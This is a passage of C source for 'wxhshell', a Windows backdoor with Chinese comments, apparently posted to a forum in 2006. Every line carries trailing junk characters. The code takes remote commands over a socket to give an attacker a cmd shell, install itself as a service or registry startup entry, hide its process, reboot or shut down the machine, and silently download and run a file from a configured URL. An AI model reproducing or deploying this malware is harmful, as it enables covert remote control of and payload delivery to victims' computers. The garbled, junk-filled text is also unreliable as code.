  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B4mR9HMh  
  } z5r$M  
  else { qk;{cfzHA  
xa pq*oj  
    switch(cmd[0]) { 1Tm^  
  T16{_  
  // 帮助 /, !B2  
  case '?': { />9O R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lHhUC16>  
    break; z d-Tv`L#  
  } EMfdBY5  
  // 安装 EeF'&zE-  
  case 'i': { ANps1w#TP  
    if(Install()) nTz6LVF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rhb@FE)Mc  
    else $9ky{T?YG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U~ck!\0&T  
    break; q@xBJ[IM  
    } HdPoO;  
  // 卸载 $n^gmhp  
  case 'r': { NvvUSyk\;s  
    if(Uninstall()) ;asP4R=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q J7L7S  
    else l!g]a2x*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $.[#0lCI  
    break; pe{; ~-|6  
    } _`pD`7:aI^  
  // 显示 wxhshell 所在路径 H[='~%D  
  case 'p': { I;1lX L  
    char svExeFile[MAX_PATH]; ?A )hN8  
    strcpy(svExeFile,"\n\r"); hc'-Dh  
      strcat(svExeFile,ExeFile); %Pqf{*d8  
        send(wsh,svExeFile,strlen(svExeFile),0); |H! 9fZO  
    break; #2EI\E&$  
    } _z1(y}u}  
  // 重启 {Pc<u gfl  
  case 'b': { ZE/o?4k*c1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FTeu~<KpM  
    if(Boot(REBOOT)) $O*O/ iG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P'O#I}Dmw<  
    else { W[^qa5W<FB  
    closesocket(wsh); C|?o*fQ  
    ExitThread(0); {U_$&f9s  
    } m ]cHF.:5  
    break; iT)z_  
    } $]rj73p^tH  
  // 关机 {pHM},WJ  
  case 'd': { dS5a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l}lIi8  
    if(Boot(SHUTDOWN)) w&%~3Cz.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ubmrlH\d  
    else { fa<v0vb+  
    closesocket(wsh); gB4U*D0[e~  
    ExitThread(0); +a*^{l}AST  
    } (S v~2  
    break; $&2UTczp  
    } j8sH#b7Z  
  // 获取shell /-i !;!  
  case 's': { 6HlePTf8  
    CmdShell(wsh); ,yTjU{<"  
    closesocket(wsh); <fs2fTUeqF  
    ExitThread(0); e A}%C.ZR  
    break; O1`9Y}G(r  
  } ?Sb8@S&J  
  // 退出 "hdvHUz  
  case 'x': { ~wVd$%7`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9,^_<O@Q  
    CloseIt(wsh); Y!T %cTK)a  
    break; }YHX-e<Yx]  
    } <~)kwq'  
  // 离开 jH6&q~#  
  case 'q': { J;prC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @ G4X  
    closesocket(wsh); Q[d}J+l4{  
    WSACleanup(); !S_^94b@  
    exit(1); Q8_ d)t|  
    break; cDI [PJ9  
        } c?%(Dp E  
  } LvEnXS  
  } qBT.x,$  
=ID 2  
  // 提示信息 >X51$wBL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %b^OeWip  
} j6g[N4xr  
  } A mwa)  
{H{X[p8  
  return; #-GJ&m8  
} XduV+$ 03  
E(i[o?  
// shell模块句柄 "hQ_sgz[Z  
int CmdShell(SOCKET sock) o'$jNciOW  
{ yA3wtm/?  
STARTUPINFO si; 8Y#\xzod  
ZeroMemory(&si,sizeof(si)); DU=dLE6-P;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tc+gdo>G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2"-S<zM  
PROCESS_INFORMATION ProcessInfo; ~%2pp~1 K  
char cmdline[]="cmd"; sIv)'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `~W-Xx  
  return 0; ez9 q7SpA  
} 7 K{Nb  
84{Q\c  
// 自身启动模式 A%2:E^k(s  
int StartFromService(void) Y1arX^Zb  
{ ?}B:  
typedef struct 8L1ohj  
{ 9Mgq1Z  
  DWORD ExitStatus; d|iy#hy"_  
  DWORD PebBaseAddress; Q*XE h  
  DWORD AffinityMask; q}FVzahv  
  DWORD BasePriority; aBzszp]l+  
  ULONG UniqueProcessId; @+WQ ^  
  ULONG InheritedFromUniqueProcessId; -&e92g&n   
}   PROCESS_BASIC_INFORMATION; Y+3!f#exm  
wWXD\{Hk  
PROCNTQSIP NtQueryInformationProcess; A?*o0I  
^xZ e2@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $v b,P(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c   c  
=-o'gL  
  HANDLE             hProcess; Ea( ,aVlj  
  PROCESS_BASIC_INFORMATION pbi; &k8vWXMGk%  
w ;e(Gb%9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uZi.HG{<)  
  if(NULL == hInst ) return 0; W8g' lqc|  
Ei2%DMN7)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U/NBFc:[y:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JO'>oFv_W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c )7j QA  
`.2h jO  
  if (!NtQueryInformationProcess) return 0; BQ jK8c<  
1R. 4:Dn_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cbs5dn(Y  
  if(!hProcess) return 0; _|''{kj(  
'r\ V. 4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S:61vD  
|0z;K:5s  
  CloseHandle(hProcess); %5*@l vy  
U'*t~x <  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BtY%r7^o  
if(hProcess==NULL) return 0; /Ky__l!bu  
Ux2U*a ;  
HMODULE hMod; b5:op@V  
char procName[255]; wl1m*`$  
unsigned long cbNeeded; }!i` 0p  
NS C/@._  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "<i SZ  
CD0VfA>Z  
  CloseHandle(hProcess); )R sM!}  
Xe+,wW3YF  
if(strstr(procName,"services")) return 1; // 以服务启动 LC0d/hM  
s9oO%e<  
  return 0; // 注册表启动 LG]3hz9^9  
} &5t :H 8b  
-xD*tf*  
// 主模块 aV1lJ ;0  
int StartWxhshell(LPSTR lpCmdLine) %/.a]j!  
{ ,pBh`av  
  SOCKET wsl; T$= 4O9G  
BOOL val=TRUE; Q7bq  
  int port=0; pA4*bO+  
  struct sockaddr_in door; lHB) b}7E  
[ REf>_R  
  if(wscfg.ws_autoins) Install(); C}5M;|%3)  
u? fTL2~  
port=atoi(lpCmdLine); #?B%Ja% ;W  
N:"C+ a(  
if(port<=0) port=wscfg.ws_port; u z\0cX_  
q/1Or;iK  
  WSADATA data; z}Jr^>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s4H2/EC  
V#q}Wysft  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A`6ra}U<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )$Z(|M4  
  door.sin_family = AF_INET; P;]F=m+ *V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [hRU&z;W  
  door.sin_port = htons(port); GYB+RU}],  
>\A8#@1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k#:2'!7G  
closesocket(wsl); (5$ZvXx?}  
return 1; rp7W }P+uU  
} #hw/^AaD-  
b.2J]6G  
  if(listen(wsl,2) == INVALID_SOCKET) { 3_5XHOdE  
closesocket(wsl); W0cgI9=9  
return 1; %}>dqUyQ  
} /Y^8SO4  
  Wxhshell(wsl); |vFj*XU  
  WSACleanup(); `3q;~ 9  
"'Z- UV  
return 0; [*m2  
4QJ8Z t  
} ] q~<=   
GQ_Ia\  
// 以NT服务方式启动 =GR 'V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dmdy=&G  
{ 8n?kZY$,  
DWORD   status = 0; 9j|gdfb%ml  
  DWORD   specificError = 0xfffffff; %zo= K}u  
l+y-Fo@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 34|a:5c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y:}sD_m0W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; } PeZO!K  
  serviceStatus.dwWin32ExitCode     = 0; mE#nU(+Ta  
  serviceStatus.dwServiceSpecificExitCode = 0; s* j fMY  
  serviceStatus.dwCheckPoint       = 0; ]qw0V   
  serviceStatus.dwWaitHint       = 0; bZipm(e  
")lw9t`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .+K S`  
  if (hServiceStatusHandle==0) return; B>TSdn={>  
*9gD*AnM,  
status = GetLastError(); gY9\o#)<  
  if (status!=NO_ERROR) sY;lt.b  
{ J7i+c];!<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g.Hio.fVd  
    serviceStatus.dwCheckPoint       = 0; :wgfW .w  
    serviceStatus.dwWaitHint       = 0; rlznwfr7+  
    serviceStatus.dwWin32ExitCode     = status; v@u<Ww;=@  
    serviceStatus.dwServiceSpecificExitCode = specificError; O%1/ r*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q'(z #h,cv  
    return; gX} g  
  } qs=tJ ^<<o  
(B`sQw@tu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )%JD8;[Jq  
  serviceStatus.dwCheckPoint       = 0; <`g3(?   
  serviceStatus.dwWaitHint       = 0; E(L<L1:"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ttv9" z  
} ;rBp1[qVe  
5JFV%odo  
// 处理NT服务事件,比如:启动、停止 :%-,Fxl4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /r.6XZs6  
{ 7!2 HNg  
switch(fdwControl) BgRZ<B`  
{ 3x5!a5$Y  
case SERVICE_CONTROL_STOP: %AR^+*Nu  
  serviceStatus.dwWin32ExitCode = 0; %%g-GyP 1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {K7YTLWY  
  serviceStatus.dwCheckPoint   = 0; 0rzVy/Z(  
  serviceStatus.dwWaitHint     = 0; _ 6:ww/  
  { %cW;}Y[?P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F=&;Y@t  
  } 3q &k  
  return; %<}=xJf>1  
case SERVICE_CONTROL_PAUSE: m)f|:MM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?y-s20Kd  
  break; A 0#Y, 1  
case SERVICE_CONTROL_CONTINUE: yr4ou  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mtw9AoO  
  break; g"y?nF.&F  
case SERVICE_CONTROL_INTERROGATE: BXTN>d27  
  break; +Z+ExS<#z  
}; Fh`-(,e?5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [b`6v`x  
} ')nnWlK  
(K!4Kp^m  
// 标准应用程序主函数 SFO&=P:U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D<nxr~pQ  
{ !A[S6-18%-  
2a[9h #  
// 获取操作系统版本 AMk~dzNt  
OsIsNt=GetOsVer(); pT=2e&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xv0M  
4r*Pa(;y  
  // 从命令行安装 6ojo##j  
  if(strpbrk(lpCmdLine,"iI")) Install(); oCJbkt=  
oBw}hH,hp  
  // 下载执行文件 n>llSK  
if(wscfg.ws_downexe) { +"L$ed(=nJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0>Fqx{!heq  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vj!WaN_  
} 0$2={s4ze  
K/Jk[29"\  
if(!OsIsNt) { .Z5[_'T  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Sb@zLi)  
HideProc(); ;c)! @GoA  
StartWxhshell(lpCmdLine); @+dHF0aXd  
} _0]QS4a][c  
else uL>:tb  
  if(StartFromService()) eycV@|6u*  
  // 以服务方式启动 jYdV?B  
  StartServiceCtrlDispatcher(DispatchTable); ;](h2Z`3s  
else #>q[oie1e  
  // 普通方式启动 :r39wFi  
  StartWxhshell(lpCmdLine); I*c;hfu  
BkT-m'I?  
return 0; (C~dkR?  
}
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只看该作者 1 发表于: 2006-10-10
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